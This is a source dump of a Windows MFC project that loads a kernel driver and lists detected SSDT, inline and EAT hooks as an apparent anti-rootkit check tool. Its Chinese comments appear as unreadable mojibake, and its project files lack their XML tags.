[ { "path": ".gitattributes", "content": "# Auto detect text files and perform LF normalization\n* text=auto\n\n# Custom for Visual Studio\n*.cs diff=csharp\n\n# Standard to msysgit\n*.doc\t diff=astextplain\n*.DOC\t diff=astextplain\n*.docx diff=astextplain\n*.DOCX diff=astextplain\n*.dot diff=astextplain\n*.DOT diff=astextplain\n*.pdf diff=astextplain\n*.PDF\t diff=astextplain\n*.rtf\t diff=astextplain\n*.RTF\t diff=astextplain\n" }, { "path": ".gitignore", "content": "# Windows image file caches\nThumbs.db\nehthumbs.db\n\n# Folder config file\nDesktop.ini\n\n# Recycle Bin used on file shares\n$RECYCLE.BIN/\n\n# Windows Installer files\n*.cab\n*.msi\n*.msm\n*.msp\n\n# Windows shortcuts\n*.lnk\n\n# =========================\n# Operating System Files\n# =========================\n\n# OSX\n# =========================\n\n.DS_Store\n.AppleDouble\n.LSOverride\n\n# Thumbnails\n._*\n\n# Files that might appear on external disk\n.Spotlight-V100\n.Trashes\n\n# Directories potentially created on remote AFP share\n.AppleDB\n.AppleDesktop\nNetwork Trash Folder\nTemporary Items\n.apdisk\n" }, { "path": "CheckKernelEATHook/CheckKernelHook/CheckKernelHook/AddService.cpp", "content": "#include \"AddService.h\"\r\n#include \"stdafx.h\"\r\n#include \"CheckKernelHookDlg.h\"\r\n#include \r\n#pragma once\r\n\r\n\r\nBOOL Release(){\r\n\t// \tHRSRC res = FindResource(NULL,MAKEINTRESOURCE(IDR_SYS),TEXT(\"BINARY\"));\r\n\t// \tif(!res)\r\n\t// \t\treturn FALSE;\r\n\t// \tHGLOBAL resGlobal = LoadResource(NULL,res);\r\n\t// \tif(!resGlobal)\r\n\t// \t\treturn FALSE;\r\n\t// \tDWORD size=SizeofResource(NULL,res);\r\n\t// \tBYTE* ptr=(BYTE*)LockResource(resGlobal);\r\n\t// \tif(!ptr)\r\n\t// \t\treturn FALSE;\r\n\tHANDLE hFile=CreateFile(TEXT(\"ReloadKernel.sys\"), GENERIC_WRITE,\r\n\t\t0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);\r\n\tif(hFile==INVALID_HANDLE_VALUE)\r\n\t\treturn FALSE;\r\n\tDWORD dw;\r\n\t// \tif(!WriteFile(hFile,ptr,size,&dw,NULL)){\r\n\t// \t\tCloseHandle(hFile);\r\n\t// \t\treturn FALSE;\r\n\t// \t}\r\n\tCloseHandle(hFile);\r\n\treturn TRUE;\r\n}\r\n\r\n\r\n\r\n\r\nBOOL UnloadDrv(TCHAR* DriverName){\r\n\tSC_HANDLE hSCManager;\r\n\tSC_HANDLE hService;\r\n\tSERVICE_STATUS ss;\r\n\r\n\r\n\thSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);\r\n\tif (!hSCManager){\r\n\t\treturn FALSE;\r\n\t}\r\n\r\n\r\n\thService = OpenService( hSCManager,DriverName,SERVICE_ALL_ACCESS);\r\n\tif( !hService ) {\r\n\t\tCloseServiceHandle(hSCManager);\r\n\t\treturn FALSE;\r\n\t}\r\n\r\n\tControlService(hService, SERVICE_CONTROL_STOP, &ss);\r\n\tDeleteService(hService);\r\n\tCloseServiceHandle(hService);\r\n\tCloseServiceHandle(hSCManager);\r\n\treturn TRUE;\r\n}\r\n\r\n\r\n\r\nBOOL LoadDrv(TCHAR* DriverName){\r\n\tTCHAR DrvFullPathName[MAX_PATH];\r\n\tSC_HANDLE schSCManager;\r\n\tSC_HANDLE schService;\r\n\tUnloadDrv(L\"CheckKernelHook\");\r\n\t// \tif(!Release())\r\n\t// \t\treturn FALSE;\r\n\tGetFullPathName(TEXT(\"CheckKernelHook.sys\"), MAX_PATH, DrvFullPathName, NULL);\r\n\tschSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);\r\n\tif (!schSCManager)\r\n\t\treturn FALSE;\r\n\r\n\r\n\tschService = CreateService( \r\n\t\tschSCManager,DriverName,DriverName,\r\n\t\tSERVICE_ALL_ACCESS,\r\n\t\tSERVICE_KERNEL_DRIVER,\r\n\t\tSERVICE_DEMAND_START,\r\n\t\tSERVICE_ERROR_NORMAL,\r\n\t\tDrvFullPathName,\r\n\t\tNULL,NULL,NULL,NULL,NULL\r\n\t\t);\r\n\r\n\r\n\tif (!schService){\r\n\t\tif (GetLastError() == ERROR_SERVICE_EXISTS){\r\n\t\t\tschService = OpenService(schSCManager,DriverName,SERVICE_ALL_ACCESS);\r\n\t\t\tif (!schService){\r\n\t\t\t\tCloseServiceHandle(schSCManager);\r\n\t\t\t\treturn FALSE;\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\tCloseServiceHandle(schSCManager);\r\n\t\t\treturn FALSE;\r\n\t\t}\r\n\t}\r\n\r\n\r\n\tif (!StartService(schService,0,NULL)){\r\n\t\tif ( !(GetLastError()==ERROR_SERVICE_ALREADY_RUNNING ) ){\r\n\t\t\tCloseServiceHandle(schService);\r\n\t\t\tCloseServiceHandle(schSCManager);\r\n\t\t\treturn FALSE;\r\n\t\t}\r\n\t}\r\n\r\n\r\n\tCloseServiceHandle(schService);\r\n\tCloseServiceHandle(schSCManager);\r\n\treturn TRUE;\r\n}\r\n\r\n\r\n" }, { "path": "CheckKernelEATHook/CheckKernelHook/CheckKernelHook/AddService.h", "content": "#include \"stdafx.h\"\r\n\r\nBOOL Release();\r\nBOOL UnloadDrv(TCHAR* DriverName);\r\nBOOL LoadDrv(TCHAR* DriverName);" }, { "path": "CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.cpp", "content": "\r\n// CheckKernelHook.cpp : ӦóΪ\r\n//\r\n\r\n#include \"stdafx.h\"\r\n#include \"CheckKernelHook.h\"\r\n#include \"CheckKernelHookDlg.h\"\r\n\r\n#ifdef _DEBUG\r\n#define new DEBUG_NEW\r\n#endif\r\n\r\n\r\n// CCheckKernelHookApp\r\n\r\nBEGIN_MESSAGE_MAP(CCheckKernelHookApp, CWinApp)\r\n\tON_COMMAND(ID_HELP, &CWinApp::OnHelp)\r\nEND_MESSAGE_MAP()\r\n\r\n\r\n// CCheckKernelHookApp \r\n\r\nCCheckKernelHookApp::CCheckKernelHookApp()\r\n{\r\n\t// ֧\r\n\tm_dwRestartManagerSupportFlags = AFX_RESTART_MANAGER_SUPPORT_RESTART;\r\n\r\n\t// TODO: ڴ˴ӹ룬\r\n\t// Ҫijʼ InitInstance \r\n}\r\n\r\n\r\n// Ψһһ CCheckKernelHookApp \r\n\r\nCCheckKernelHookApp theApp;\r\n\r\n\r\n// CCheckKernelHookApp ʼ\r\n\r\nBOOL CCheckKernelHookApp::InitInstance()\r\n{\r\n\t// һ Windows XP ϵӦó嵥ָҪ\r\n\t// ʹ ComCtl32.dll 汾 6 ߰汾ÿӻʽ\r\n\t//Ҫ InitCommonControlsEx()򣬽޷ڡ\r\n\tINITCOMMONCONTROLSEX InitCtrls;\r\n\tInitCtrls.dwSize = sizeof(InitCtrls);\r\n\t// ΪҪӦóʹõ\r\n\t// ؼࡣ\r\n\tInitCtrls.dwICC = ICC_WIN95_CLASSES;\r\n\tInitCommonControlsEx(&InitCtrls);\r\n\r\n\tCWinApp::InitInstance();\r\n\r\n\r\n\tAfxEnableControlContainer();\r\n\r\n\t// shell ԷԻ\r\n\t// κ shell ͼؼ shell бͼؼ\r\n\tCShellManager *pShellManager = new CShellManager;\r\n\r\n\t// ׼ʼ\r\n\t// δʹЩܲϣС\r\n\t// տִļĴСӦƳ\r\n\t// Ҫضʼ\r\n\t// ڴ洢õע\r\n\t// TODO: Ӧʵ޸ĸַ\r\n\t// ޸Ϊ˾֯\r\n\tSetRegistryKey(_T(\"ӦóɵıӦó\"));\r\n\r\n\tCCheckKernelHookDlg dlg;\r\n\tm_pMainWnd = &dlg;\r\n\tINT_PTR nResponse = dlg.DoModal();\r\n\tif (nResponse == IDOK)\r\n\t{\r\n\t\t// TODO: ڴ˷ôʱ\r\n\t\t// ȷرնԻĴ\r\n\t}\r\n\telse if (nResponse == IDCANCEL)\r\n\t{\r\n\t\t// TODO: ڴ˷ôʱ\r\n\t\t// ȡرնԻĴ\r\n\t}\r\n\r\n\t// ɾ洴 shell \r\n\tif (pShellManager != NULL)\r\n\t{\r\n\t\tdelete pShellManager;\r\n\t}\r\n\r\n\t// ڶԻѹرգԽ FALSE Ա˳Ӧó\r\n\t// ӦóϢá\r\n\treturn FALSE;\r\n}\r\n\r\n" }, { "path": "CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.h", "content": "\r\n// CheckKernelHook.h : PROJECT_NAME Ӧóͷļ\r\n//\r\n\r\n#pragma once\r\n\r\n#ifndef __AFXWIN_H__\r\n\t#error \"ڰļ֮ǰstdafx.h PCH ļ\"\r\n#endif\r\n\r\n#include \"resource.h\"\t\t// \r\n\r\n\r\n// CCheckKernelHookApp:\r\n// йشʵ֣ CheckKernelHook.cpp\r\n//\r\n\r\nclass CCheckKernelHookApp : public CWinApp\r\n{\r\npublic:\r\n\tCCheckKernelHookApp();\r\n\r\n// д\r\npublic:\r\n\tvirtual BOOL InitInstance();\r\n\r\n// ʵ\r\n\r\n\tDECLARE_MESSAGE_MAP()\r\n};\r\n\r\nextern CCheckKernelHookApp theApp;" }, { "path": "CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.vcxproj", "content": "\r\n\r\n \r\n \r\n Debug\r\n Win32\r\n \r\n \r\n Release\r\n Win32\r\n \r\n \r\n \r\n {D49C7CB9-A5C2-4377-A234-7C440407A30E}\r\n CheckKernelHook\r\n MFCProj\r\n \r\n \r\n \r\n Application\r\n true\r\n Unicode\r\n Dynamic\r\n \r\n \r\n Application\r\n false\r\n true\r\n Unicode\r\n Dynamic\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n true\r\n \r\n \r\n false\r\n \r\n \r\n \r\n Use\r\n Level3\r\n Disabled\r\n WIN32;_WINDOWS;_DEBUG;%(PreprocessorDefinitions)\r\n \r\n \r\n Windows\r\n true\r\n \r\n \r\n false\r\n true\r\n _DEBUG;%(PreprocessorDefinitions)\r\n \r\n \r\n 0x0804\r\n _DEBUG;%(PreprocessorDefinitions)\r\n $(IntDir);%(AdditionalIncludeDirectories)\r\n \r\n \r\n \r\n \r\n Level3\r\n Use\r\n MaxSpeed\r\n true\r\n true\r\n WIN32;_WINDOWS;NDEBUG;%(PreprocessorDefinitions)\r\n \r\n \r\n Windows\r\n true\r\n true\r\n true\r\n \r\n \r\n false\r\n true\r\n NDEBUG;%(PreprocessorDefinitions)\r\n \r\n \r\n 0x0804\r\n NDEBUG;%(PreprocessorDefinitions)\r\n $(IntDir);%(AdditionalIncludeDirectories)\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n Create\r\n Create\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n" }, { "path": "CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.vcxproj.filters", "content": "\r\n\r\n \r\n \r\n {4FC737F1-C7A5-4376-A066-2A32D752A2FF}\r\n cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx\r\n \r\n \r\n {93995380-89BD-4b04-88EB-625FBE52EBFB}\r\n h;hpp;hxx;hm;inl;inc;xsd\r\n \r\n \r\n {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}\r\n rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms\r\n \r\n \r\n \r\n \r\n \r\n 资源文件\r\n \r\n \r\n 资源文件\r\n \r\n \r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n 头文件\r\n \r\n \r\n 源文件\r\n \r\n \r\n \r\n \r\n 源文件\r\n \r\n \r\n 源文件\r\n \r\n \r\n 源文件\r\n \r\n \r\n 源文件\r\n \r\n \r\n \r\n \r\n 资源文件\r\n \r\n \r\n" }, { "path": "CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHookDlg.cpp", "content": "\r\n// CheckKernelHookDlg.cpp : ʵļ\r\n//\r\n\r\n#include \"stdafx.h\"\r\n#include \"CheckKernelHook.h\"\r\n#include \"CheckKernelHookDlg.h\"\r\n#include \"afxdialogex.h\"\r\n#include \"AddService.h\"\r\n#ifdef _DEBUG\r\n#define new DEBUG_NEW\r\n#endif\r\n\r\n\r\nHANDLE g_hDevice = NULL;\r\n\r\ntypedef struct\r\n{\r\n\tWCHAR* szTitle; //б\r\n\tint\t\t nWidth; //бĿ\r\n\r\n}COLUMNSTRUCT;\r\nCOLUMNSTRUCT g_Column_Data_Online[] = \r\n{\r\n\t{L\"ԭʼַ\",\t\t\t 148\t},\r\n\t{L\"\",\t\t\t150\t},\r\n\t{L\"Hookַ\",\t160\t},\r\n\t{L\"ģ\",\t\t300\t},\r\n\t{L\"ģַ\",\t\t\t 80\t},\r\n\t{L\"ģС\",\t\t 81\t},\r\n\t{L\"\",\t\t\t81\t}\r\n};\r\n\r\nint g_Column_Count_Online = 7; //бĸ\r\nint g_Column_Online_Width = 0; \r\n\r\n\r\n// Ӧó򡰹ڡ˵ CAboutDlg Ի\r\n\r\nclass CAboutDlg : public CDialogEx\r\n{\r\npublic:\r\n\tCAboutDlg();\r\n\r\n// Ի\r\n\tenum { IDD = IDD_ABOUTBOX };\r\n\r\n\tprotected:\r\n\tvirtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧\r\n\r\n// ʵ\r\nprotected:\r\n\tDECLARE_MESSAGE_MAP()\r\n};\r\n\r\nCAboutDlg::CAboutDlg() : CDialogEx(CAboutDlg::IDD)\r\n{\r\n}\r\n\r\nvoid CAboutDlg::DoDataExchange(CDataExchange* pDX)\r\n{\r\n\tCDialogEx::DoDataExchange(pDX);\r\n}\r\n\r\nBEGIN_MESSAGE_MAP(CAboutDlg, CDialogEx)\r\nEND_MESSAGE_MAP()\r\n\r\n\r\n// CCheckKernelHookDlg Ի\r\n\r\n\r\n\r\n\r\nCCheckKernelHookDlg::CCheckKernelHookDlg(CWnd* pParent /*=NULL*/)\r\n\t: CDialogEx(CCheckKernelHookDlg::IDD, pParent)\r\n{\r\n\tm_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);\r\n}\r\n\r\nvoid CCheckKernelHookDlg::DoDataExchange(CDataExchange* pDX)\r\n{\r\n\tCDialogEx::DoDataExchange(pDX);\r\n\tDDX_Control(pDX, IDC_LIST, m_List);\r\n}\r\n\r\nBEGIN_MESSAGE_MAP(CCheckKernelHookDlg, CDialogEx)\r\n\tON_WM_SYSCOMMAND()\r\n\tON_WM_PAINT()\r\n\tON_WM_QUERYDRAGICON()\r\nEND_MESSAGE_MAP()\r\n\r\n\r\n// CCheckKernelHookDlg Ϣ\r\n\r\nBOOL CCheckKernelHookDlg::OnInitDialog()\r\n{\r\n\tCDialogEx::OnInitDialog();\r\n\r\n\t// ...˵ӵϵͳ˵С\r\n\r\n\t// IDM_ABOUTBOX ϵͳΧڡ\r\n\tASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);\r\n\tASSERT(IDM_ABOUTBOX < 0xF000);\r\n\r\n\tCMenu* pSysMenu = GetSystemMenu(FALSE);\r\n\tif (pSysMenu != NULL)\r\n\t{\r\n\t\tBOOL bNameValid;\r\n\t\tCString strAboutMenu;\r\n\t\tbNameValid = strAboutMenu.LoadString(IDS_ABOUTBOX);\r\n\t\tASSERT(bNameValid);\r\n\t\tif (!strAboutMenu.IsEmpty())\r\n\t\t{\r\n\t\t\tpSysMenu->AppendMenu(MF_SEPARATOR);\r\n\t\t\tpSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);\r\n\t\t}\r\n\t}\r\n\r\n\t// ô˶ԻͼꡣӦóڲǶԻʱܽԶ\r\n\t// ִд˲\r\n\tSetIcon(m_hIcon, TRUE);\t\t\t// ôͼ\r\n\tSetIcon(m_hIcon, FALSE);\t\t// Сͼ\r\n\r\n\tm_List.SetExtendedStyle(LVS_EX_FULLROWSELECT);\r\n\tfor (int i = 0; i < g_Column_Count_Online; i++)\r\n\t{\r\n\t\tm_List.InsertColumn(i, g_Column_Data_Online[i].szTitle,LVCFMT_CENTER,g_Column_Data_Online[i].nWidth);\r\n\r\n\t\tg_Column_Online_Width+=g_Column_Data_Online[i].nWidth; \r\n\t}\r\n\r\n\r\n\t//LoadDrv(L\"CheckKernelHook\");\r\n\r\n\tg_hDevice = OpenDevice(L\"\\\\\\\\.\\\\CheckKernelHookLinkName\");\r\n\tif (g_hDevice==(HANDLE)-1)\r\n\t{\r\n\t\tMessageBox(L\"豸ʧ\");\r\n\t\treturn TRUE;\r\n\t}\r\n\r\n\t\r\n\r\n\r\n\tCheckKernelHook();\r\n\t\r\n\treturn TRUE; // ǽõؼ򷵻 TRUE\r\n}\r\n\r\nVOID CCheckKernelHookDlg::CheckKernelHook()\r\n{\r\n\tULONG_PTR ulCount = 0x1000;\r\n\tPINLINEHOOKINFO PInlineHookInfo = NULL;\r\n\tBOOL bRet = FALSE;\r\n\tDWORD ulReturnSize = 0;\r\n\tdo \r\n\t{\r\n\t\tULONG_PTR ulSize = 0;\r\n\t\tif (PInlineHookInfo)\r\n\t\t{\r\n\t\t\tfree(PInlineHookInfo);\r\n\t\t\tPInlineHookInfo = NULL;\r\n\t\t}\r\n\t\tulSize = sizeof(INLINEHOOKINFO) + ulCount * sizeof(INLINEHOOKINFO_INFORMATION);\r\n\t\tPInlineHookInfo = (PINLINEHOOKINFO)malloc(ulSize);\r\n\t\tif (!PInlineHookInfo)\r\n\t\t{\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tmemset(PInlineHookInfo,0,ulSize);\r\n\t\tbRet = DeviceIoControl(g_hDevice,CTL_CHECKKERNELMODULE,\r\n\t\t\tNULL,\r\n\t\t\t0,\r\n\t\t\tPInlineHookInfo,\r\n\t\t\tulSize,\r\n\t\t\t&ulReturnSize,\r\n\t\t\tNULL);\r\n\t\tulCount = PInlineHookInfo->ulCount + 1000;\r\n\t} while (bRet == FALSE && GetLastError() == ERROR_INSUFFICIENT_BUFFER);\r\n\r\n\tif(PInlineHookInfo->ulCount==0)\r\n\t{\r\n\t\tMessageBox(L\"ǰں˰ȫ\",L\"\");\r\n\t}\r\n\telse\r\n\t{\r\n\t\tInsertDataToList(PInlineHookInfo);\r\n\t}\r\n\tif (PInlineHookInfo)\r\n\t{\r\n\t\tfree(PInlineHookInfo);\r\n\t\tPInlineHookInfo = NULL;\r\n\t}\r\n\r\n\r\n}\r\n\r\nVOID CCheckKernelHookDlg::InsertDataToList(PINLINEHOOKINFO PInlineHookInfo)\r\n{\r\n\tCString OrgAddress,CurAddress,ModuleBase,ModuleSize;\r\n\tfor(int i=0;iulCount;i++)\r\n\t{\r\n\t\tOrgAddress.Format(L\"0x%p\",PInlineHookInfo->InlineHook[i].ulMemoryFunctionBase);\r\n\t\tCurAddress.Format(L\"0x%p\",PInlineHookInfo->InlineHook[i].ulMemoryHookBase);\r\n\t\tModuleBase.Format(L\"0x%p\",PInlineHookInfo->InlineHook[i].ulHookModuleBase);\r\n\t\tModuleSize.Format(L\"%d\",PInlineHookInfo->InlineHook[i].ulHookModuleSize);\r\n\t\tint n = m_List.InsertItem(m_List.GetItemCount(),OrgAddress,0); //עi Icon λ\r\n\t\tCString szFunc=L\"\";\r\n\t\tCString ModuleName = L\"\";\r\n\t\tszFunc +=PInlineHookInfo->InlineHook[i].lpszFunction;\r\n\t\tModuleName += PInlineHookInfo->InlineHook[i].lpszHookModuleImage;\r\n\t\tm_List.SetItemText(n,1,szFunc);\r\n\t\tm_List.SetItemText(n,2,CurAddress);\r\n\t\tm_List.SetItemText(n,3,ModuleName);\r\n\t\tm_List.SetItemText(n,4,ModuleBase);\r\n\t\tm_List.SetItemText(n,5,ModuleSize);\r\n\t\tCString Type= L\"\";\r\n\t\tif(PInlineHookInfo->InlineHook[i].ulHookType==1)\r\n\t\t{\r\n\t\t\tType +=L\"SSDT Hook\";\r\n\t\t}\r\n\t\telse if(PInlineHookInfo->InlineHook[i].ulHookType==2)\r\n\t\t{\r\n\t\t\tType +=L\"Next Call Hook\";\r\n\t\t}\r\n\t\telse if(PInlineHookInfo->InlineHook[i].ulHookType==0)\r\n\t\t{\r\n\t\t\tType +=L\"Inline Hook\";\r\n\t\t}\r\n\t\tm_List.SetItemText(n,6,Type);\r\n\t\t\r\n\t}\r\n\tUpdateData(TRUE);\r\n}\r\nvoid CCheckKernelHookDlg::OnSysCommand(UINT nID, LPARAM lParam)\r\n{\r\n\tif ((nID & 0xFFF0) == IDM_ABOUTBOX)\r\n\t{\r\n\t\tCAboutDlg dlgAbout;\r\n\t\tdlgAbout.DoModal();\r\n\t}\r\n\telse\r\n\t{\r\n\t\tCDialogEx::OnSysCommand(nID, lParam);\r\n\t}\r\n}\r\n\r\n// ԻСťҪĴ\r\n// Ƹͼꡣʹĵ/ͼģ͵ MFC Ӧó\r\n// ⽫ɿԶɡ\r\n\r\nvoid CCheckKernelHookDlg::OnPaint()\r\n{\r\n\tif (IsIconic())\r\n\t{\r\n\t\tCPaintDC dc(this); // ڻƵ豸\r\n\r\n\t\tSendMessage(WM_ICONERASEBKGND, reinterpret_cast(dc.GetSafeHdc()), 0);\r\n\r\n\t\t// ʹͼڹо\r\n\t\tint cxIcon = GetSystemMetrics(SM_CXICON);\r\n\t\tint cyIcon = GetSystemMetrics(SM_CYICON);\r\n\t\tCRect rect;\r\n\t\tGetClientRect(&rect);\r\n\t\tint x = (rect.Width() - cxIcon + 1) / 2;\r\n\t\tint y = (rect.Height() - cyIcon + 1) / 2;\r\n\r\n\t\t// ͼ\r\n\t\tdc.DrawIcon(x, y, m_hIcon);\r\n\t}\r\n\telse\r\n\t{\r\n\t\tCDialogEx::OnPaint();\r\n\t}\r\n}\r\n\r\n//û϶Сʱϵͳô˺ȡù\r\n//ʾ\r\nHCURSOR CCheckKernelHookDlg::OnQueryDragIcon()\r\n{\r\n\treturn static_cast(m_hIcon);\r\n}\r\n\r\n" }, { "path": "CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHookDlg.h", "content": "\r\n// CheckKernelHookDlg.h : ͷļ\r\n//\r\n\r\n#pragma once\r\n#include \"afxcmn.h\"\r\n#include \"resource.h\"\r\n#include \r\n\r\n\r\ntypedef struct _INLINEHOOKINFO_INFORMATION { //INLINEHOOKINFO_INFORMATION\r\n\tULONG ulHookType;\r\n\tULONG ulMemoryFunctionBase; //ԭʼַ\r\n\tULONG ulMemoryHookBase; //HOOK ַ\r\n\tCHAR lpszFunction[256];\r\n\tCHAR lpszHookModuleImage[256];\r\n\tULONG ulHookModuleBase;\r\n\tULONG ulHookModuleSize;\r\n\r\n} INLINEHOOKINFO_INFORMATION, *PINLINEHOOKINFO_INFORMATION;\r\n\r\ntypedef struct _INLINEHOOKINFO { //InlineHook\r\n\tULONG ulCount;\r\n\tINLINEHOOKINFO_INFORMATION InlineHook[1];\r\n} INLINEHOOKINFO, *PINLINEHOOKINFO;\r\n\r\n\r\n\r\n\r\n#define CTL_CHECKKERNELMODULE \\\r\n\tCTL_CODE(FILE_DEVICE_UNKNOWN,0x830,METHOD_NEITHER,FILE_ANY_ACCESS)\r\n\r\n// CCheckKernelHookDlg Ի\r\nclass CCheckKernelHookDlg : public CDialogEx\r\n{\r\n// \r\npublic:\r\n\tCCheckKernelHookDlg(CWnd* pParent = NULL);\t// ׼캯\r\n\r\n// Ի\r\n\tenum { IDD = IDD_CHECKKERNELHOOK_DIALOG };\r\n\r\n\tVOID CheckKernelHook();\r\n\tVOID InsertDataToList(PINLINEHOOKINFO PInlineHookInfo);\r\n\tprotected:\r\n\tvirtual void DoDataExchange(CDataExchange* pDX);\t// DDX/DDV ֧\r\n\r\n\tHANDLE OpenDevice(LPCTSTR wzLinkPath)\r\n\t{\r\n\t\tHANDLE hDevice = CreateFile(wzLinkPath,\r\n\t\t\tGENERIC_READ | GENERIC_WRITE,\r\n\t\t\tFILE_SHARE_READ | FILE_SHARE_WRITE,\r\n\t\t\tNULL,\r\n\t\t\tOPEN_EXISTING,\r\n\t\t\tFILE_ATTRIBUTE_NORMAL,\r\n\t\t\tNULL);\r\n\t\tif (hDevice == INVALID_HANDLE_VALUE)\r\n\t\t{\r\n\t\t}\r\n\t\treturn hDevice;\r\n\t}\r\n\r\n\r\n// ʵ\r\nprotected:\r\n\tHICON m_hIcon;\r\n\r\n\t// ɵϢӳ亯\r\n\tvirtual BOOL OnInitDialog();\r\n\tafx_msg void OnSysCommand(UINT nID, LPARAM lParam);\r\n\tafx_msg void OnPaint();\r\n\tafx_msg HCURSOR OnQueryDragIcon();\r\n\tDECLARE_MESSAGE_MAP()\r\npublic:\r\n\tCListCtrl m_List;\r\n};\r\n" }, { "path": "CheckKernelEATHook/CheckKernelHook/CheckKernelHook/res/ReadMe.txt", "content": "Check Kernel EAT Hook \n" }, { "path": "CheckKernelEATHook/CheckKernelHook/CheckKernelHook/stdafx.cpp", "content": "\r\n// stdafx.cpp : ֻ׼ļԴļ\r\n// CheckKernelHook.pch ΪԤͷ\r\n// stdafx.obj ԤϢ\r\n\r\n#include \"stdafx.h\"\r\n\r\n\r\n" }, { "path": "CheckKernelEATHook/CheckKernelHook/CheckKernelHook/stdafx.h", "content": "\r\n// stdafx.h : ׼ϵͳļİļ\r\n// Ǿʹõĵ\r\n// ضĿİļ\r\n\r\n#pragma once\r\n\r\n#ifndef _SECURE_ATL\r\n#define _SECURE_ATL 1\r\n#endif\r\n\r\n#ifndef VC_EXTRALEAN\r\n#define VC_EXTRALEAN // Windows ͷųʹõ\r\n#endif\r\n\r\n#include \"targetver.h\"\r\n\r\n#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // ijЩ CString 캯ʽ\r\n\r\n// ر MFC ijЩɷĺԵľϢ\r\n#define _AFX_ALL_WARNINGS\r\n\r\n#include // MFC ͱ׼\r\n#include // MFC չ\r\n\r\n\r\n#include // MFC Զ\r\n\r\n\r\n\r\n#ifndef _AFX_NO_OLE_SUPPORT\r\n#include // MFC Internet Explorer 4 ؼ֧\r\n#endif\r\n#ifndef _AFX_NO_AFXCMN_SUPPORT\r\n#include // MFC Windows ؼ֧\r\n#endif // _AFX_NO_AFXCMN_SUPPORT\r\n\r\n#include // Ϳؼ MFC ֧\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#ifdef _UNICODE\r\n#if defined _M_IX86\r\n#pragma comment(linker,\"/manifestdependency:\\\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*'\\\"\")\r\n#elif defined _M_X64\r\n#pragma comment(linker,\"/manifestdependency:\\\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*'\\\"\")\r\n#else\r\n#pragma comment(linker,\"/manifestdependency:\\\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\\\"\")\r\n#endif\r\n#endif\r\n\r\n\r\n" }, { "path": "CheckKernelEATHook/CheckKernelHook/CheckKernelHook/targetver.h", "content": "#pragma once\r\n\r\n// SDKDDKVer.h ߰汾Ŀ Windows ƽ̨\r\n\r\n// ҪΪǰ Windows ƽ̨Ӧó WinSDKVer.h\r\n// WIN32_WINNT ΪҪֵ֧ƽ̨Ȼٰ SDKDDKVer.h\r\n\r\n#include \r\n" }, { "path": "CheckKernelEATHook/CheckKernelHook/CheckKernelHook.sln", "content": "\r\nMicrosoft Visual Studio Solution File, Format Version 11.00\r\n# Visual Studio 2010\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"CheckKernelHook\", \"CheckKernelHook\\CheckKernelHook.vcxproj\", \"{D49C7CB9-A5C2-4377-A234-7C440407A30E}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|Win32 = Debug|Win32\r\n\t\tRelease|Win32 = Release|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{D49C7CB9-A5C2-4377-A234-7C440407A30E}.Debug|Win32.ActiveCfg = Debug|Win32\r\n\t\t{D49C7CB9-A5C2-4377-A234-7C440407A30E}.Debug|Win32.Build.0 = Debug|Win32\r\n\t\t{D49C7CB9-A5C2-4377-A234-7C440407A30E}.Release|Win32.ActiveCfg = Release|Win32\r\n\t\t{D49C7CB9-A5C2-4377-A234-7C440407A30E}.Release|Win32.Build.0 = Release|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n" }, { "path": "CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/CheckKernelHook.vcxproj", "content": "\r\n\r\n \r\n \r\n WinDDK\r\n Win32\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n {4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}\r\n Win32Proj\r\n \"CheckKernelHook\"\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n .sys\r\n false\r\n 